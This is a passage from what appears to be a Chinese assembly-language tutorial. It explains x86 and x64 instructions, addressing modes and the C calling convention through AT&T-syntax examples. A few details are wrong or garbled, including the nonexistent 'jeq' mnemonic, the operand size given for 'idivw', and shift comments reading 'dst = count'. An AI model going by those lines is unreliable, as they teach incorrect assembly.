+<mem 一个内存地址, 例如 (%eax), 4+var, (%eax, %ebx, 1)
+<con32 32 位常数
+<con16 16 位常数
+<con8 8 位常数
+<con 任意 32位, 16 位或者 8 位常数
+
+

在汇编语言中, 用作立即操作数 的所有标签和数字常量 ( 即不在诸如3 (%eax, %ebx, 8)这样的地址计算中 ) 总是以美元符号 $ 为前缀. 需要的时候, 前缀 0x 表示十六进制数, 例如$ 0xABC. 如果没有前缀, 则默认该数字为十进制数.

+

3.3.4.1 数据移动指令

+
    +
  • mov 移动
  • +
+

mov 指令将数据从它的第一个参数 ( 即寄存器中的内容, 内存单元中的内容, 或者一个常数值 ) 复制到它的第二个参数 ( 即寄存器或者内存单元 ). 当寄存器到寄存器之间的数据移动是可行的时候, 直接地从内存单元中将数据移动到另一内存单元中是不行的. 在这种需要在内存单元中传递数据的情况下, 它数据来源的那个内存单元必须首先把那个内存单元中的数据加载到一个寄存器中, 然后才可以通过这个寄存器来把数据移动到目标内存单元中.

+
    +
  • 语法
  • +
+
mov <reg, <reg
+mov <reg, <mem
+mov <mem, <reg
+mov <con, <reg
+mov <con, <mem
+
+
    +
  • 例子
  • +
+
mov %ebx, %eax ;将 EBX 中的值复制到 EAX 中
+mov $5, var(,1) ;将数字 5 存到字节型内存单元 " var "
+
+

mov_1

+
    +
  • push 入栈
  • +
+

push指令将它的参数移动到硬件支持的内存顶端. 特别地, push 首先将 ESP 中的值减少 4, 然后将它的参数移动到一个 32 位的地址单元 ( %esp ). ESP ( 栈指针 ) 会随着不断入栈从而持续递减, 即栈内存是从高地址单元到低地址单元增长.

+
    +
  • 语法
  • +
+
push <reg32
+push <mem
+push <con32
+
+
    +
  • 例子
  • +
+
push %eax ;将 EAX 送入栈
+push var(,1) ;将 var 对应的 4 字节大小的数据送入栈中
+
+
    +
  • pop 出栈
  • +
+

pop指令从硬件支持的栈内存顶端移除 4 字节的数据, 并把这个数据放到该指令指定的参数中 ( 即寄存器或者内存单元 ). 其首先将内存中 ( %esp ) 的 4 字节数据放到指定的寄存器或者内存单元中, 然后让 ESP + 4.

+
    +
  • 语法
  • +
+
pop <reg32
+pop <mem
+
+
    +
  • 例子
  • +
+
pop %edi ;将栈顶的元素移除, 并放入到寄存器 EDI 中.
+pop (%ebx) ;将栈顶的元素移除, 并放入从 EBX 开始的 4 个字节大小的内存单元中.
+
+

重点内容 : 栈 栈是一种特殊的存储空间, 特殊在它的访问形式上, 它的访问形式就是最后进入这个空间的数据, 最先出去, 也就是 "先进后出, 后进先出".

+
    +
  • lea加载有效地址
  • +
+

lea指令将其第一个参数指定的内存单元 放入到 第二个参数指定的寄存器中. 注意, 该指令不加载内存单元中的内容, 只是计算有效地址并将其放入寄存器. 这对于获得指向存储器区域的指针或者执行简单的算术运算非常有用.

+

也许这里你会看得一头雾水, 不过你不必担心, 这里有更为通俗易懂的解释. 汇编语言中 lea 指令和 mov 指令的区别 ? MOV 指令的功能是传送数据,例如 MOV AX,[1000H],作用是将 1000H 作为偏移地址,寻址找到内存单元,将该内存单元中的数据送至 AX; LEA 指令的功能是取偏移地址,例如 LEA AX,[1000H],作用是将源操作数 [1000H] 的偏移地址 1000H 送至 AX。理解时,可直接将[ ]去掉,等同于 MOV AX,1000H。 再如:LEA BX,[AX],等同于 MOV BX,AXLEA BX,TABLE 等同于 MOV BX,OFFSET TABLE。 但有时不能直接使用 MOV 代替: 比如:LEA AX,[SI+6] 不能直接替换成:MOV AX,SI+6;但可替换为: MOV AX,SI ADD AX,6 两步完成。

+

参考链接

+
    +
  • 语法
  • +
+
lea <mem, <reg32
+
+
    +
  • 例子
  • +
+
lea (%ebx,%esi,8), %edi ;EBX+8*ESI 的值被移入到了 EDI
+lea val(,1), %eax ;val 的值被移入到了 EAX
+
+

3.3.4.2 逻辑运算指令

+
    +
  • add 整数相加
  • +
+

add 指令将两个参数相加, 然后将结果存放到第二个参数中. 注意, 参数可以是寄存器,但参数中最多只有一个内存单元. 这话有点绕, 我们直接看语法 :

+
    +
  • 语法
  • +
+
add <reg, <reg
+add <mem, <reg
+add <reg, <mem
+add <con, <reg
+add <con, <mem
+
+
    +
  • 例子
  • +
+
add $10, %eax ;EAX 中的值被设置为了 EAX+10.
+addb $10, (%eax) ;往 EAX 中的值 所代表的内存单元地址 加上 1 个字节的数字 10.
+
+
    +
  • sub 整数相减
  • +
+

sub指令将第二个参数的值与第一个相减, 就是后面那个减去前面那个, 然后把结果存储到第二个参数. 和add一样, 两个参数都可以是寄存器, 但两个参数中最多只能有一个是内存单元.

+
    +
  • 语法
  • +
+
sub <reg, <reg
+sub <mem, <reg
+sub <con, <reg
+sub <con, <mem
+
+
    +
  • 例子
  • +
+
sub %ah, %al ;AL 被设置成 AL-AH
+sub $216, %eax ;将 EAX 中的值减去 216
+
+
    +
  • inc, dec 自增, 自减
  • +
+

inc 指令让它的参数加 1, dec 指令则是让它的参数减去 1.

+
    +
  • 语法
  • +
+
inc <reg
+inc <mem
+dec <reg
+dec <mem
+
+
    +
  • 例子
  • +
+
dec %eax ;EAX 中的值减去 1
+incl var(,1) ;将 var 所代表的 32 位整数加上 1.
+
+
    +
  • imul 整数相乘
  • +
+

imul 指令有两种基本格式 : 第一种是 2 个参数的 ( 看下面语法开始两条 ); 第二种格式是 3 个参数的 ( 看下面语法最后两条 ).

+

2 个参数的这种格式, 先是将两个参数相乘, 然后把结果存到第二个参数中. 运算结果 ( 即第二个参数 ) 必须是一个寄存器.

+

3 个参数的这种格式, 先是将它的第 1 个参数和第 2 个参数相乘, 然后把结果存到第 3 个参数中, 当然, 第 3 个参数必须是一个寄存器. 此外, 第 1 个参数必须是一个常数.

+
    +
  • 语法
  • +
+
imul <reg32, <reg32
+imul <mem, <reg32
+imul <con, <reg32, <reg32
+imul <con, <mem, <reg32
+
+
    +
  • 例子
  • +
+
imul (%ebx), %eax ;将 EAX 中的 32 位整数, 与 EBX 中的内容所指的内存单元, 相乘, 然后把结果存到 EAX 中.
+imul $25, %edi, %esi ;ESI 被设置为 EDI * 25.
+
+
    +
  • idiv 整数相除
  • +
+

idiv只有一个操作数,此操作数为除数,而被除数则为 EDX : EAX 中的内容(一个64位的整数), 除法结果 ( 商 ) 存在 EAX 中, 而所得的余数存在 EDX 中.

+
    +
  • 语法
  • +
+
idiv <reg32
+idiv <mem
+
+
    +
  • 例子
  • +
+
idiv %ebx ;用 EDX : EAX 的值除以 EBX 的值. 商存放在 EAX 中, 余数存放在 EDX 中.
+idivw (%ebx) ;将 EDX : EAX 的值除以存储在 EBX 所对应内存单元的 32 位值. 商存放在 EAX 中, 余数存放在 EDX 中.
+
+
    +
  • and, or, xor 按位逻辑 与, 或, 异或 运算
  • +
+

这些指令分别对它们的参数进行相应的逻辑运算, 运算结果存到第一个参数中.

+
    +
  • 语法
  • +
+
and <reg, <reg
+and <mem, <reg
+and <reg, <mem
+and <con, <reg
+and <con, <mem
+
+or <reg, <reg
+or <mem, <reg
+or <reg, <mem
+or <con, <reg
+or <con, <mem
+
+xor <reg, <reg
+xor <mem, <reg
+xor <reg, <mem
+xor <con, <reg
+xor <con, <mem
+
+
    +
  • 例子
  • +
+
and $0x0F, %eax ;只留下 EAX 中最后 4 位数字 (二进制位)
+xor %edx, %edx ;将 EDX 的值全部设置成 0
+
+
    +
  • not 逻辑位运算 非
  • +
+

对参数进行逻辑非运算, 即翻转参数中所有位的值.

+
    +
  • 语法
  • +
+
not <reg
+not <mem
+
+
    +
  • 例子
  • +
+
not %eax ;将 EAX 的所有值翻转.
+
+
    +
  • neg 取负指令
  • +
+

取参数的二进制补码负数. 直接看例子也许会更好懂.

+
    +
  • 语法
  • +
+
neg <reg
+neg <mem
+
+
    +
  • 例子
  • +
+
neg %eax ;EAX → -EAX
+
+
    +
  • shl, shr 按位左移或者右移
  • +
+

这两个指令对第一个参数进行位运算, 移动的位数由第二个参数决定, 移动过后的空位拿 0 补上.被移的参数最多可以被移 31 位. 第二个参数可以是 8 位常数或者寄存器 CL. 在任意情况下, 大于 31 的移位都默认是与 32 取模.

+
    +
  • 语法
  • +
+
shl <con8, <reg
+shl <con8, <mem
+shl %cl, <reg
+shl %cl, <mem
+
+shr <con8, <reg
+shr <con8, <mem
+shr %cl, <reg
+shr %cl, <mem
+
+
    +
  • 例子
  • +
+
shl $1, %eax ;将 EAX 的值乘以 2 (如果最高有效位是 0 的话)
+shr %cl, %ebx ;将 EBX 的值除以 2n, 其中 n 为 CL 中的值, 运算最终结果存到 EBX 中.
+你也许会想, 明明只是把数字二进制移了 1 位, 结果却是等于这个数字乘以 2.什么情况 ? 这几个位运算的结果和计算机表示数字的原理有关,请看本章附录的计算机数字表示.
+
+

3.3.4.3 流程控制指令

+

x86 处理器有一个指令指针寄存器 ( EIP ), 该寄存器为 32 位寄存器, 它用来在内存中指示我们输入汇编指令的位置. 就是说这个寄存器指向哪个内存单元, 那个单元存储的机器码就是程序执行的指令. 通常它是指向我们程序要执行的 下一条指令. 但是你不能直接操作 EIP 寄存器, 你需要流程控制指令来隐式地给它赋值.

+

我们使用符号 <label 来当作程序中的标签. 通过输入标签名称后跟冒号, 可以将标签插入 x86 汇编代码文本中的任何位置. 例如 :

+
       mov 8(%ebp), %esi
+begin:
+       xor %ecx, %ecx
+       mov (%esi), %eax
+
+

该代码片段中的第二段被套上了 " begin " 这个标签. 在代码的其它地方, 我们可以用 " begin " 这个标签从而更方便地来引用这段指令在内存中的位置. 这个标签只是用来更方便地表示位置的, 它并不是用来代表某个 32 位值.

+
    +
  • jmp 跳转指令
  • +
+

将程序跳转到参数指定的内存地址, 然后执行该内存地址的指令.

+
    +
  • 语法
  • +
+
jmp <label
+
+
    +
  • 例子
  • +
+
jmp begin ;跳转到打了 " begin " 这个标签的地方
+
+

jmp

+
    +
  • jcondition 有条件的跳转
  • +
+

这些指令是条件跳转指令, 它们基于一组条件代码的状态, 这些条件代码的状态存放在称为机器状态字 ( machine status word ) 的特殊寄存器中. 机器状态字的内容包括关于最后执行的算术运算的信息. 例如, 这个字的一个位表示最后的结果是否为 0. 另一个位表示最后结果是否为负数. 基于这些条件代码, 可以执行许多条件跳转. 例如, 如果最后一次算术运算结果为 0, 则 jz 指令就是跳转到指定参数标签. 否则, 程序就按照流程进入下一条指令.

+

许多条件分支的名称都是很直观的, 这些指令的运行, 都和一个特殊的比较指令有关, cmp( 见下文 ). 例如, 像 jlejne 这种指令, 它们首先对参数进行 cmp 操作.

+
    +
  • 语法
  • +
+
je <label ;当相等的时候跳转
+jne <label ;当不相等的时候跳转
+jz <label ;当最后结果为 0 的时候跳转
+jg <label ;当大于的时候跳转
+jge <label ;当大于等于的时候跳转
+jl <label ;当小于的时候跳转
+jle <label ;当小于等于的时候跳转
+
+
    +
  • 例子
  • +
+
cmp %ebx, %eax
+jle done
+;如果 EAX 的值小于等于 EBX 的值, 就跳转到 " done " 标签, 否则就继续执行下一条指令.
+
+

jcondition

+
    +
  • cmp 比较指令
  • +
+

比较两个参数的值, 适当地设置机器状态字中的条件代码. 此指令与sub指令类似,但是cmp不用将计算结果保存在操作数中.

+
    +
  • 语法
  • +
+
cmp <reg, <reg
+cmp <mem, <reg
+cmp <reg, <mem
+cmp <con, <reg
+
+
    +
  • 例子
  • +
+
cmpb $10, (%ebx)
+jeq loop
+;如果 EBX 的值等于整数常量 10, 则跳转到标签 " loop " 的位置.
+
+

cmp

+
    +
  • call, ret 子程序调用与返回
  • +
+

这两个指令实现子程序的调用和返回. call 指令首先将当前代码位置推到内存中硬件支持的栈内存上 ( 请看 push 指令 ), 然后无条件跳转到标签参数指定的代码位置. 与简单的 jmp 指令不同, call 指令保存了子程序完成时返回的位置. 就是 call 指令结束后, 返回到调用之前的地址.

+

ret 指令实现子程序的返回. 该指令首先从栈中取出代码 ( 类似于 pop 指令 ). 然后它无条件跳转到检索到的代码位置.

+
    +
  • 语法
  • +
+
call <label
+ret
+
+

3.3.5 调用约定 Calling Convention

+

为了方便不同的程序员去分享代码和运行库, 并简化一般子程序的使用, 程序员们通常会遵守一定的约定 ( Calling Convention ). 调用约定是关于如何从例程调用和返回的协议. 例如,给定一组调用约定规则,程序员不需要检查子例程的定义来确定如何将参数传递给该子例程. 此外,给定一组调用约定规则,可以使高级语言编译器遵循规则,从而允许手动编码的汇编语言例程和高级语言例程相互调用.

+

我们将讲解被广泛使用的 C 语言调用约定. 遵循此约定将允许您编写可从 C ( 和C ++ ) 代码安全地调用的汇编语言子例程, 并且还允许您从汇编语言代码调用 C 函数库.

+

C 调用约定很大程度上取决于使用硬件支持的栈内存. 它基于 push, pop, callret 指令. 子程序的参数在栈上传递. 寄存器保存在栈中, 子程序使用的局部变量放在栈中. 在大多数处理器上实现的高级过程语言都使用了类似的调用约定.

+

调用约定分为两组. 第一组规则是面向子例程的调用者 ( Caller ) 的, 第二组规则面向子例程的编写者, 即被调用者 ( Callee ). 应该强调的是, 错误地遵守这些规则会导致程序的致命错误, 因为栈将处于不一致的状态; 因此, 在你自己的子例程中实现调用约定的时候, 务必当心.

+

stack-convention

+

将调用约定可视化的一种好方法是, 在子例程执行期间画一个栈内存附近的图. 图 2 描绘了在执行具有三个参数和三个局部变量的子程序期间栈的内容. 栈中描绘的单元都是 32 位内存单元, 因此这些单元的内存地址相隔 4 个字节. 第一个参数位于距基指针 8 个字节的偏移处. 在栈参数的上方 ( 和基指针下方 ), call 指令在这放了返回地址, 从而导致从基指针到第一个参数有额外 4 个字节的偏移量. 当 ret 指令用于从子程序返回时, 它将跳转到栈中的返回地址.

+

3.3.5.1 调用者约定 Caller Rules

+

要进行子程序调用, 调用者应该 :

+
    +
  1. 在调用子例程之前, 调用者应该保存指定调用者保存 ( Caller-saved )的某些寄存器的内容. 调用者保存的寄存器是 EAX, ECX, EDX. 由于被调用的子程序可以修改这些寄存器, 所以如果调用者在子例程返回后依赖这些寄存器的值, 调用者必须将这些寄存器的值入栈, 然后就可以在子例程返回后恢复它们.
  2. +
  3. 要把参数传递给子例程, 你可以在调用之前把参数入栈. 参数的入栈顺序应该是反着的, 就是最后一个参数应该最先入栈. 随着栈内存地址增大, 第一个参数将存储在最低的地址, 在历史上, 这种参数的反转用于允许函数传递可变数量的参数.
  4. +
  5. 要调用子例程, 请使用call指令. 该指令将返回地址存到栈上, 并跳转到子程序的代码. 这个会调用子程序, 这个子程序应该遵循下面的被调用者约定.
  6. +
+

子程序返回后 ( 紧跟调用指令后 ), 调用者可以期望在寄存器 EAX 中找到子例程的返回值. 要恢复机器状态 ( machine state ), 调用者应该 :

+
    +
  1. 从栈中删除参数, 这会把栈恢复到调用之前的状态.
  2. +
  3. 把 EAX, ECX, EDX 之前入栈的内容给出栈, 调用者可以假设子例程没有修改其它寄存器.
  4. +
  5. 例子
  6. +
+

下面的代码就是个活生生的例子, 它展示了遵循约定的函数调用. 调用者正在调用一个带有 3 个整数参数的函数 myFunc. 第一个参数是 EAX, 第二个参数是常数 216; 第三个参数位于 EBX 的值所代表的内存地址.

+
push (%ebx) ;最后一个参数最先入栈
+push $216 ;把第二个参数入栈
+push %eax ;第一个参数最后入栈
+
+call myFunc ;调用这个函数 ( 假设以 C 语言的模式命名 )
+
+add $12, %esp
+
+

注意, 在调用返回后, 调用者使用 add 指令来清理栈内存. 我们栈内存中有 12 个字节 ( 3 个参数, 每个参数 4 个字节 ), 然后栈内存地址增大. 因此, 为了摆脱掉这些参数, 我们可以直接往栈里面加个 12.

+

myFunc 生成的结果现在可以有用于寄存器 EAX. 调用者保存 ( Caller-saved ) 的寄存器 ( ECX, EDX ) 的值可能已经被修改. 如果调用者在调用之后使用它们,则需要在调用之前将它们保存在堆栈中并在调用之后恢复它们. 说白了就是把栈这个玩意当作临时存放点.

+

3.3.5.2 被调用者约定 Callee Rules

+

子例程的定义应该遵循子例程开头的以下规则 :

+
    +
  • 1.将 EBP 的值入栈, 然后用下面的指示信息把 ESP 的值复制到 EBP 中 :
  • +
+
 push %ebp
+ mov  %esp, %ebp
+
+

这个初始操作保留了基指针 EBP. 按照约定, 基指针作为栈上找到参数和变量的参考点. 当子程序正在执行的时候, 基指针保存了从子程序开始执行是的栈指针值的副本. 参数和局部变量将始终位于远离基指针值的已知常量偏移处. 我们在子例程的开头推送旧的基指针值,以便稍后在子例程返回时为调用者恢复适当的基指针值. 记住, 调用者不希望子例程修改基指针的值. 然后我们把栈指针移动到 EBP 中, 以获取访问参数和局部变量的参考点.

+
    +
  • 2.接下来, 通过在栈中创建空间来分配局部变量. 回想一下, 栈会向下增长, 因此要在栈顶部创建空间, 栈指针应该递减. 栈指针递减的数量取决于所需局部变量的数量和大小. 例如, 如果需要 3 个局部整数 ( 每个 4 字节 ), 则需要将堆栈指针递减 12, 从而为这些局部变量腾出空间 ( 即sub $12, %esp ). 和参数一样, 局部变量将位于基指针的已知偏移处.
  • +
  • 3.接下来, 保存将由函数使用的 被调用者保存的 ( Callee-saved ) 寄存器的值. 要存储寄存器, 请把它们入栈. 被调用者保存 ( Callee-saved ) 的寄存器是 EBX, EDI 和 ESI ( ESP 和 EBP 也将由调用约定保留, 但在这个步骤中不需要入栈 ).
  • +
+

在完成这 3 步之后, 子例程的主体可以继续. 返回子例程的时候, 必须遵循以下步骤 :

+
    +
  1. 将返回值保存在 EAX 中.
  2. +
  3. 恢复已经被修改的任何被调用者保存 ( Callee-saved ) 的寄存器 ( EDI 和 ESI ) 的旧值. 通过出栈来恢复它们. 当然应该按照相反的顺序把它们出栈.
  4. +
  5. 释放局部变量. 显而易见的法子是把相应的值添加到栈指针 ( 因为空间是通过栈指针减去所需的数量来分配的 ). 事实上呢, 解除变量释放的错误的方法是将基指针中的值移动到栈指针 : mov %ebp, %esp. 这个法子有效, 是因为基指针始终包含栈指针在分配局部变量之前包含的值.
  6. +
  7. 在返回之前, 立即通过把 EBP 出栈来恢复调用者的基指针值. 回想一下, 我们在进入子程序的时候做的第一件事是推动基指针保存它的旧值.
  8. +
  9. 最后, 通过执行 ret 指令返回. 这个指令将从栈中找到并删除相应的返回地址 ( call 指令保存的那个 ).
  10. +
+

请注意, 被调用者的约定完全被分成了两半, 简直是彼此的镜像. 约定的前半部分适用于函数开头, 并且通常被称为定义函数的序言 ( prologue ) .这个约定的后半部分适用于函数结尾, 因此通常被称为定义函数的结尾 ( epilogue ).

+
    +
  • 例子
  • +
+

这是一个遵循被调用者约定的例子 :

+
;启动代码部分
+.text
+
+;将 myFunc 定义为全局 ( 导出 ) 函数
+.globl myFunc
+.type myFunc, @function
+myFunc :
+;子程序序言
+push %ebp ;保存基指针旧值
+mov %esp, %ebp ;设置基指针新值
+sub $4, %esp ;为一个 4 字节的变量腾出位置
+push %edi
+push %esi ;这个函数会修改 EDI 和 ESI, 所以先给它们入栈
+;不需要保存 EBX, EBP 和 ESP
+
+;子程序主体
+mov 8(%ebp), %eax ;把参数 1 的值移到 EAX 中
+mov 12(%ebp), %esi ;把参数 2 的值移到 ESI 中
+mov 16(%ebp), %edi ;把参数 3 的值移到 EDI 中
+
+mov %edi, -4(%ebp) ;把 EDI 移给局部变量
+add %esi, -4(%ebp) ;把 ESI 添加给局部变量
+add -4(%ebp), %eax ;将局部变量的内容添加到 EAX ( 最终结果 ) 中
+
+;子程序结尾
+pop %esi ;恢复寄存器的值
+pop %edi
+mov %ebp, %esp ;释放局部变量
+pop %ebp ;恢复调用者的基指针值
+ret
+
+

子程序序言执行标准操作, 即在 EBP ( 基指针 ) 中保存栈指针的副本, 通过递减栈指针来分配局部变量, 并在栈上保存寄存器的值.

+

在子例程的主体中, 我们可以看到基指针的使用. 在子程序执行期间, 参数和局部变量都位于与基指针的常量偏移处. 特别地, 我们注意到, 由于参数在调用子程序之前被放在栈中, 因此它们总是位于栈基指针 ( 即更高的地址 ) 之下. 子程序的第一个参数总是可以在内存地址 ( EBP+8 ) 找到, 第二个参数在 ( EBP+12 ), 第三个参数在 ( EBP+16). 类似地, 由于在设置基指针后分配局部变量, 因此它们总是位于栈上基指针 ( 即较低地址 ) 之上. 特别是, 第一个局部变量总是位于 ( EBP-4 ), 第二个位于 ( EBP-8 ), 以此类推. 这种基指针的常规使用, 让我们可以快速识别函数内部局部变量和参数的使用.

+

函数结尾基本上是函数序言的镜像. 从栈中恢复调用者的寄存器值, 通过重置栈指针来释放局部变量, 恢复调用者的基指针值, 并用 ret 指令返回调用者中的相应代码位置, 从哪来回哪去.

+

维基百科 X86 调用约定

+

3.4 x64 汇编基础

+

3.4.1 导语

+

x86-64 (也被称为 x64 或者 AMD64) 是 64 位版本的 x86/IA32 指令集. 以下是我们关于 CS107 相关功能的概述.

+

3.4.2 寄存器 Registers

+

下图列出了常用的寄存器 ( 16个通用寄存器加上 2 个特殊用途寄存器 ). 每个寄存器都是 64 bit 宽, 它们的低 32, 16, 8 位都可以看成相应的 32, 16, 8 位寄存器, 并且都有其特殊名称. 一些寄存器被设计用来完成某些特殊目的, 比如 %rsp 被用来作为栈指针, %rax 作为一个函数的返回值. 其他寄存器则都是通用的, 但是一般在使用的时候, 还是要取决于调用者 ( Caller-owned )或者被调用者 ( Callee-owned ). 如果函数 binky 调用了 winky, 我们称 binky 为调用者, winky 为被调用者. 例如, 用于前 6 个参数和返回值的寄存器都是被调用者所有的 ( Callee-owned ). 被调用者可以任意使用这些寄存器, 不用任何预防措施就可以随意覆盖里面的内容. 如果 %rax 存着调用者想要保留的值, 则 Caller 必须在调用之前将这个 %rax 的值复制到一个 " 安全 " 的位置. 被调用者拥有的 ( Callee-owned ) 寄存器非常适合一些临时性的使用. 相反, 如果被调用者打算使用调用者所拥有的寄存器, 那么被调用者必须首先把这个寄存器的值存起来, 然后在退出调用之前把它恢复. 调用者拥有的 ( Caller-owned ) 寄存器用于保存调用者的本地状态 ( local state ), 所以这个寄存器需要在进一步的函数调用中被保留下来.

+
+

img

+
+

3.4.3 寻址模式 Addressing modes

+

正由于它的 CISC 特性, X86-64 支持各种寻址模式. 寻址模式是计算要读或写的内存地址的表达式. 这些表达式用作mov指令和访问内存的其它指令的来源和去路. 下面的代码演示了如何在每个可用的寻址模式中将 立即数 1 写入各种内存位置 :

+
movl $1, 0x604892         ;直接写入, 内存地址是一个常数
+movl $1, (%rax)           ;间接写入, 内存地址存在寄存器 %rax 中
+
+movl $1, -24(%rbp)       ;使用偏移量的间接写入
+                         ;公式 : (address = base %rbp + displacement -24)
+
+movl $1, 8(%rsp, %rdi, 4) ;间接写入, 用到了偏移量和按比例放大的索引 ( scaled-index )
+           ;公式 : (address = base %rsp + displ 8 + index %rdi * scale 4)
+
+movl $1, (%rax, %rcx, 8) ;特殊情况, 用到了按比例放大的索引 ( scaled-index ), 假设偏移量 ( displacement ) 为 0
+
+movl $1, 0x8(, %rdx, 4)  ;特殊情况, 用到了按比例放大的索引 ( scaled-index ), 假设基数 ( base ) 为 0
+movl $1, 0x4(%rax, %rcx) ;特殊情况, 用到了按比例放大的索引 ( scaled-index ), 假设比例 ( scale ) 为0
+
+

3.4.4 通用指令 Common instructions

+

先说下指令后缀, 之前讲过这里就重温一遍 : 许多指令都有个后缀 ( b, w, l, q ) , 后缀指明了这个指令代码所操纵参数数据的位宽 ( 分别为 1, 2, 4 或 8 个字节 ). 当然, 如果可以从参数确定位宽的时候, 后缀可以被省略. 例如呢, 如果目标寄存器是 %eax, 则它必须是 4 字节宽, 如果是 %ax 寄存器, 则必须是 2 个字节, 而 %al 将是 1 个字节. 还有些指令, 比如 movsmovz 有两个后缀 : 第一个是来源参数, 第二个是去路. 这话乍一看让人摸不着头脑, 且听我分析. 例如, movzbl 这个指令把 1 个字节的来源参数值移动到 4 个字节的去路.

+

当目标是子寄存器 ( sub-registers ) 时, 只有子寄存器的特定字节被写入, 但有一个例外 : 32 位指令将目标寄存器的高 32 位设置为 0.

+

movlea 指令

+

到目前为止, 我们遇到的最频繁的指令就是 mov, 而它有很多变种. 关于 mov 指令就不多说了, 和之前 32 位 x86 的没什么区别. lea 指令其实也没什么好说的, 上一节都有, 这里就不废话了.

+
这里写几个比较有意思的例子 :
+mov 8(%rsp), %eax    ;%eax = 从地址 %rsp + 8 读取的值
+lea 0x20(%rsp), %rdi ;%rdi = %rsp + 0x20
+lea (%rdi,%rdx,1), %rax  ;%rax = %rdi + %rdx
+
+

在把较小位宽的数据移动复制到较大位宽的情况下, movsmovz 这两个变种指令用于指定怎么样去填充字节, 因为你是一个小东西被移到了一个大空间, 肯定还有地方是空的, 所以空的地方要填起来, 拿 0 或者 符号扩展 ( sign-extend ) 来填充.

+
movsbl %al, %edx     ;把 1 个字节的 %al, 符号扩展 复制到 4 字节的 %edx
+movzbl %al, %edx     ;把 1 个字节的 %al, 零扩展 ( zero-extend ) 复制到 4 字节的 %edx
+
+

有个特殊情况要注意, 默认情况下, 将 32 位值写入寄存器的 mov 指令, 也会将寄存器的高 32 位归零, 即隐式零扩展到位宽 q. 这个解释了诸如 mov %ebx, %ebx 这种指令, 这些指令看起来很奇怪, 但实际上这是用于从 32 位扩展到 64 位. 因为这个是默认的, 所以我们不用显式的 movzlq 指令. 当然, 有一个 movslq 指令也是从 32 位符号扩展到 64 位.

+

cltq 指令是一个在 %rax 上运行的专用移动指令. 这个没有参数的指令在 %rax 上进行符号扩展, 源位宽为 L, 目标位宽为 q.

+
cltq   ;在 %rax 上运行,将 4 字节 src 符号扩展为 8 字节 dst,用于 movslq %eax,%rax
+
+

算术和位运算

+

二进制的运算一般是两个参数, 其中第二个参数既是我们指令运算的来源, 也是去路的来源, 就是说我们把运算结果存在第二个参数里. 我们的第一个参数可以是立即数常数, 寄存器或者内存单元. 第二个参数必须是寄存器或者内存. 这两个参数中, 最多只有一个参数是内存单元, 当然也有的指令只有一个参数, 这个参数既是我们运算数据的来源, 也是我们运算数据的去路, 它可以是寄存器或者内存. 这个我们上一节讲了, 这里回顾一下. 许多算术指令用于有符号和无符号类型,也就是带符号加法和无符号加法都使用相同的指令. 当需要的时候, 参数设置的条件代码可以用来检测不同类型的溢出.

+
add src, dst ;dst = dst + src
+sub src, dst ;dst = dst - src
+imul src, dst ;dst = dst * src
+neg dst ;dst = -dst ( 算术取反 )
+
+and src, dst ;dst = dst & src
+or src, dst ;dst = dst | src
+xor src, dst ;dst = dst ^ src
+not dst ;dst = ~dst ( 按位取反 )
+
+shl count, dst ;dst <<= count ( 按 count 的值来左移 ), 跟这个相同的是`sal`指令
+sar count, dst ;dst = count ( 按 count 的值来算术右移 )
+shr count, dst ;dst = count ( 按 count 的值来逻辑右移 )
+
+;某些指令有特殊情况变体, 这些变体有不同的参数
+imul src ;一个参数的 imul 指令假定 %rax 中其他参数计算 128 位的结果, 在 %rdx 中存储高 64 位, 在 %rax 中存储低 64 位.
+shl dst ;dst <<= 1 ( 后面没有 count 参数的时候默认是移动 1 位, `sar`, `shr`, `sal` 指令也是一样 )
+
+

这些指令上一节都讲过, 这里稍微提一下.

+

流程控制指令

+

有一个特殊的 %eflags 寄存器, 它存着一组被称为条件代码的布尔标志. 大多数的算术运算会更新这些条件代码. 条件跳转指令读取这些条件代码之后, 再确定是否执行相应的分支指令. 条件代码包括 ZF( 零标志 ), SF( 符号标志 ), OF( 溢出标志, 有符号 ) 和 CF( 进位标志, 无符号 ). 例如, 如果结果为 0 , 则设置 ZF, 如果操作溢出 ( 进入符号位 ), 则设置 OF.

+

这些指令一般是先执行 cmptest 操作来设置标志, 然后再跟跳转指令变量, 该变量读取标志来确定是采用分支代码还是继续下一条代码. cmptest 的参数是立即数, 寄存器或者内存单元 ( 最多只有一个内存参数 ). 条件跳转有 32 中变体, 其中几种效果是一样的. 下面是一些分支指令.

+
cmpl op2, op1 ;运算结果 = op1 - op2, 丢弃结果然后设置条件代码
+test op2, op1 ;运算结果 = op1 & op2, 丢弃结果然后设置条件代码
+
+jmp target ;无条件跳跃
+je target ;等于时跳跃, 和它相同的还有 jz, 即jump zero ( ZF = 1 )
+jne target ;不相等时跳跃, 和它相同的还有 jnz, 即 jump non zero ( ZF = 0 )
+jl target ;小于时跳跃, 和它相同的还有 jnge, 即 jump not greater or equal ( SF != OF )  
+jle target ;小于等于时跳跃, 和它相同的还有 jng, 即 jump not greater ( ZF = 1 or SF != OF )
+jg target ;大于时跳跃, 和它相同的还有 jnle, 即 jump not less or equal ( ZF = 0 and SF = OF )
+jge target ;大于等于时跳跃, 和它相同的还有 jnl, 即 jump not less ( SF = OF )
+ja  target ;跳到上面, 和它相同的还有 jnbe, 即 jump not below or equal ( CF = 0 and ZF = 0 )
+jb  target ;跳到下面, 和它相同的还有 jnae, 即 jump not above or equal ( CF = 1 )
+js  target ;SF = 1 时跳跃
+jns target ;SF = 0 时跳跃
+
+

其实你也会发现这里大部分上一节都讲过, 这里我们可以再来一遍巩固一下.

+

setxmovx

+

还有两个指令家族可以 读取/响应 当前的条件代码. setx 指令根据条件 x 的状态将目标寄存器设置为 0 或 1. cmovx 指令根据条件 x 是否成立来有条件地执行 mov. x 是任何条件变量的占位符, 就是说 x 可以用这些来代替 : e, ne, s, ns. 它们的意思上面也都说过了.

+
sete dst ;根据 零/相等( zero/equal ) 条件来把 dst 设置成 0 或 1
+setge dst ;根据 大于/相等( greater/equal ) 条件来把 dst 设置成 0 或 1
+cmovns src, dst ;如果 ns 条件成立, 则继续执行 mov
+cmovle src, dst ;如果 le 条件成立, 则继续执行 mov
+
+

对于 setx 指令, 其目标必须是单字节寄存器 ( 例如 %al 用于 %rax 的低字节 ). 对于 cmovx 指令, 其来源和去路都必须是寄存器.

+

函数调用与栈

+

